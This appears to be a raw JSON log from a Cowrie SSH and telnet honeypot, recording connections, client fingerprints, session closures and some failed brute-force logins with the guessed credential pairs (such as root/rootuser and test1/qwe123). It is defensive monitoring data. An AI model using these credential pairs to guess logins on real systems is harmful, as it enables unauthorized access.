{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:59.679402Z","src_ip":"159.203.92.129","session":"03dae8ef3a2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ana","password":"ana","message":"login attempt [ana/ana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:59.689752Z","src_ip":"159.203.92.129","session":"03dae8ef3a2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:00.695700Z","src_ip":"159.203.92.129","session":"03dae8ef3a2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.965803384780884,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:01.959045Z","src_ip":"162.253.42.116","session":"9923f6df582c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":33956,"dst_ip":"10.17.0.5","dst_port":22,"session":"5870850fc65c","protocol":"ssh","message":"New connection: 165.154.5.173:33956 (10.17.0.5:22) [session: 5870850fc65c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:02.848130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:02.858135Z","src_ip":"165.154.5.173","session":"5870850fc65c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:03.068465Z","src_ip":"165.154.5.173","session":"5870850fc65c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.654619455337524,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:03.767559Z","src_ip":"185.26.126.47","session":"fcfde6facc37","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootuser","message":"login attempt [root/rootuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:03.914066Z","src_ip":"165.154.5.173","session":"5870850fc65c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.78247356414795,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:04.724725Z","src_ip":"194.195.250.213","session":"9aef3730ce41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:05.133022Z","src_ip":"165.154.5.173","session":"5870850fc65c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":37436,"dst_ip":"10.17.0.5","dst_port":23,"session":"499be37de923","protocol":"telnet","message":"New connection: 194.195.250.213:37436 (10.17.0.5:23) [session: 499be37de923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:05.322273Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":59228,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffb72f5225a7","protocol":"telnet","message":"New connection: 162.253.42.116:59228 (10.17.0.5:23) [session: ffb72f5225a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:05.461774Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":59096,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f36286dc605","protocol":"ssh","message":"New connection: 102.213.34.99:59096 (10.17.0.5:22) [session: 3f36286dc605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:05.565198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:05.571649Z","src_ip":"102.213.34.99","session":"3f36286dc605","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:05.742203Z","src_ip":"102.213.34.99","session":"3f36286dc605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.11216139793396,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:05.850926Z","src_ip":"162.253.42.116","session":"69f734c8aa3b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test1","password":"qwe123","message":"login attempt [test1/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:06.454393Z","src_ip":"102.213.34.99","session":"3f36286dc605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.56614875793457,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:06.762856Z","src_ip":"194.195.250.213","session":"be728be27b9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:07.627652Z","src_ip":"102.213.34.99","session":"3f36286dc605","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":37440,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a9c1d71933a","protocol":"telnet","message":"New connection: 194.195.250.213:37440 (10.17.0.5:23) [session: 1a9c1d71933a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:08.879285Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":39268,"dst_ip":"10.17.0.5","dst_port":23,"session":"6be18685d417","protocol":"telnet","message":"New connection: 162.253.42.116:39268 (10.17.0.5:23) [session: 6be18685d417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:13.164976Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":43650,"dst_ip":"10.17.0.5","dst_port":23,"session":"b258bbc09c07","protocol":"telnet","message":"New connection: 194.195.250.213:43650 (10.17.0.5:23) [session: b258bbc09c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:13.393559Z"}
{"eventid":"cowrie.session.closed","duration":38.750062704086304,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:14.518427Z","src_ip":"194.195.250.213","session":"83ef3268b624","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.934082984924316,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:15.048816Z","src_ip":"162.253.42.116","session":"cfb595b49504","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":59164,"dst_ip":"10.17.0.5","dst_port":23,"session":"f84966f52dbc","protocol":"telnet","message":"New connection: 194.195.250.213:59164 (10.17.0.5:23) [session: f84966f52dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:20.909721Z"}
{"eventid":"cowrie.session.closed","duration":36.57926559448242,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:21.309944Z","src_ip":"194.195.250.213","session":"d43599af3f42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":50320,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddeb78652a94","protocol":"telnet","message":"New connection: 162.253.42.116:50320 (10.17.0.5:23) [session: ddeb78652a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:21.864766Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":55398,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ee0f1145b87","protocol":"telnet","message":"New connection: 162.253.42.116:55398 (10.17.0.5:23) [session: 3ee0f1145b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:26.033639Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":55532,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b2789d209d4","protocol":"telnet","message":"New connection: 162.253.42.116:55532 (10.17.0.5:23) [session: 6b2789d209d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:26.120363Z"}
{"eventid":"cowrie.session.closed","duration":38.60470390319824,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:26.403471Z","src_ip":"194.195.250.213","session":"ca3b5aec89f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.53241682052612,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:27.464428Z","src_ip":"162.253.42.116","session":"683e919ae45e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.11479163169861,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:27.916228Z","src_ip":"162.253.42.116","session":"c4699ab4a3ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":57474,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d3dfaee5d8e","protocol":"telnet","message":"New connection: 162.253.42.116:57474 (10.17.0.5:23) [session: 5d3dfaee5d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:28.655583Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":34184,"dst_ip":"10.17.0.5","dst_port":23,"session":"6154af398e9a","protocol":"telnet","message":"New connection: 162.253.42.116:34184 (10.17.0.5:23) [session: 6154af398e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:31.502440Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":60126,"dst_ip":"10.17.0.5","dst_port":23,"session":"248f6f573427","protocol":"telnet","message":"New connection: 194.195.250.213:60126 (10.17.0.5:23) [session: 248f6f573427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:35.866864Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":60132,"dst_ip":"10.17.0.5","dst_port":23,"session":"e572280f86b0","protocol":"telnet","message":"New connection: 194.195.250.213:60132 (10.17.0.5:23) [session: e572280f86b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:39.074453Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":59210,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a71449a9494","protocol":"telnet","message":"New connection: 194.195.250.213:59210 (10.17.0.5:23) [session: 3a71449a9494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:39.514051Z"}
{"eventid":"cowrie.session.closed","duration":35.640007734298706,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:41.101639Z","src_ip":"162.253.42.116","session":"ffb72f5225a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34708,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea411acab1b6","protocol":"ssh","message":"New connection: 159.203.92.129:34708 (159.203.135.109:22) [session: ea411acab1b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:42.271634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:42.276454Z","src_ip":"159.203.92.129","session":"ea411acab1b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:42.280906Z","src_ip":"159.203.92.129","session":"ea411acab1b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anacnda3","password":"123","message":"login attempt [anacnda3/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:42.293599Z","src_ip":"159.203.92.129","session":"ea411acab1b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":47270,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6726f272feb","protocol":"telnet","message":"New connection: 162.253.42.116:47270 (10.17.0.5:23) [session: a6726f272feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:42.447297Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:43.299781Z","src_ip":"159.203.92.129","session":"ea411acab1b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.764437198638916,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:44.086568Z","src_ip":"194.195.250.213","session":"499be37de923","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":59218,"dst_ip":"10.17.0.5","dst_port":23,"session":"484be8c6f78c","protocol":"telnet","message":"New connection: 194.195.250.213:59218 (10.17.0.5:23) [session: 484be8c6f78c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:45.603989Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":51150,"dst_ip":"10.17.0.5","dst_port":23,"session":"219103621906","protocol":"telnet","message":"New connection: 162.253.42.116:51150 (10.17.0.5:23) [session: 219103621906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:45.644415Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":59224,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4dbc1bd886a","protocol":"telnet","message":"New connection: 194.195.250.213:59224 (10.17.0.5:23) [session: d4dbc1bd886a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:46.775633Z"}
{"eventid":"cowrie.session.closed","duration":37.98241829872131,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:46.861603Z","src_ip":"194.195.250.213","session":"1a9c1d71933a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":52614,"dst_ip":"10.17.0.5","dst_port":23,"session":"f08877f5e344","protocol":"telnet","message":"New connection: 162.253.42.116:52614 (10.17.0.5:23) [session: f08877f5e344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:46.924576Z"}
{"eventid":"cowrie.session.closed","duration":35.147098541259766,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:48.311967Z","src_ip":"162.253.42.116","session":"6be18685d417","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":59226,"dst_ip":"10.17.0.5","dst_port":23,"session":"775cc8fe9aa5","protocol":"telnet","message":"New connection: 194.195.250.213:59226 (10.17.0.5:23) [session: 775cc8fe9aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:49.078933Z"}
{"eventid":"cowrie.session.closed","duration":39.20152473449707,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:52.594998Z","src_ip":"194.195.250.213","session":"b258bbc09c07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":36266,"dst_ip":"10.17.0.5","dst_port":23,"session":"d19aa2bf7a42","protocol":"telnet","message":"New connection: 194.195.250.213:36266 (10.17.0.5:23) [session: d19aa2bf7a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:54.769060Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":36268,"dst_ip":"10.17.0.5","dst_port":23,"session":"e54323375cc9","protocol":"telnet","message":"New connection: 194.195.250.213:36268 (10.17.0.5:23) [session: e54323375cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:55.050304Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":35766,"dst_ip":"10.17.0.5","dst_port":22,"session":"2343d9a68280","protocol":"ssh","message":"New connection: 165.154.5.173:35766 (10.17.0.5:22) [session: 2343d9a68280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:56.217439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:16:56.221771Z","src_ip":"165.154.5.173","session":"2343d9a68280","protocol":"ssh"}
